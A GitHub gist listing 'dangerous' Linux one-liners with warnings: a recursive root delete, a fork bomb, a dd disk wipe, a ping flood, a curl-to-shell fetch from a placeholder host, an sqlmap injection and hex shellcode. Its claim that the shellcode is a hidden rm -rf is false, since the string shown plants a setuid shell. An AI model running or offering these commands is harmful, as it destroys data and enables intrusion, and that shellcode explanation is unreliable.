Created
December 27, 2017 11:43
-
-
Save ManishLSN/90139fb2ffdd08bfc7a76333880cdfd2 to your computer and use it in GitHub Desktop.
Most Dangerous command in Linux
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
There are plenty of one line terminal commands that can prove to be exorbitantly dangerous. | |
1. The Delete Everything Command | |
rm -rf / | |
This command deletes everything it possibly can, including files on your hard drive and files on connected removable media devices. This command can be explained as follows: | |
rm – Remove the following files. | |
-rf – Run rm recursively. | |
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices. | |
2. The Denial of Service(DoS) attack | |
ping xxx.xxx.xxx.xxx –t -l 65500 | |
where xxx.xxx.xxx.xxx is the IP Address of the target. This simple command if run from command prompt can launch a DoS attack against the target by flooding it’s server with data packets. If launched on a larger scale with multiple points of attack (DDoS), this command can prove to be fatal. | |
3. The Black hole | |
mv /home/user/* /dev/null | |
The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed. The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to a blackhole (null). | |
4. The Fork Bomb | |
:(){:|:&};: | |
The infamous and funny looking fork bomb can freeze a system and force you to reboot it. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes. | |
5. Malicious Script | |
wget http://malicious_source -O- | sh | |
This command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script. Please be careful while downloading and running scripts and make sure they come from a trusted source. | |
6. The Wiper | |
dd if=/dev/random of=/dev/sda | |
The above command will wipe out the block sda and write random junk data to the block. Your system would be left at inconsistent and unrecoverable stage. | |
7. Sql Injection Attack with SQLMap | |
sqlmap -u "http://www.abcdef.com/section.php?id=51" --dbs | |
This single command in the terminal can launch an SQL Injection attack against the website. You just need a Sql injection vulnerable URL which can be easily found on the internet. This command, if successful can expose the entire database of the target. | |
8. Hidden Hex Codes | |
char esp[] __attribute__ ((section(“.text”))) /* e.s.p | |
release */ | |
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ | |
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ | |
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ | |
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ | |
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ | |
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ | |
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″ | |
“cp -p /bin/sh /tmp/.beyond; chmod 4755 | |
/tmp/.beyond;”; | |
This command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition. This shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. | |
Apart from these, I remember the words of Kevin Mitnick (a renowned personality in the hacking world ) from his interview in 2015. | |
The government obviously labeled me with these terms, like “terrorist”, and they locked me up in solitary confinement because they said I could whistle into a telephone and launch nuclear weapons. | |
I don’t know if this was in deed true and possible. However, this according to me would be the most Dangerous piece of code ever written in history. Imagine the level of destruction that could have been caused. | |
WARNING AND DISCLAIMER | |
Please do not execute any of the above mentioned commands in your Linux terminal or shell. If you want to test them, run them in a virtual machine. | |
Number 2 and 7 can even land you in jail or attract legal actions from federal and corporate agencies. Please make sure that you either initiate these attacks against your own system/website or take necessary permission from the respective owner. The answer is meant only for educational purpose and in no way would be responsible for the cause of your unlawful actions. | |
Thanks for reading |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
cul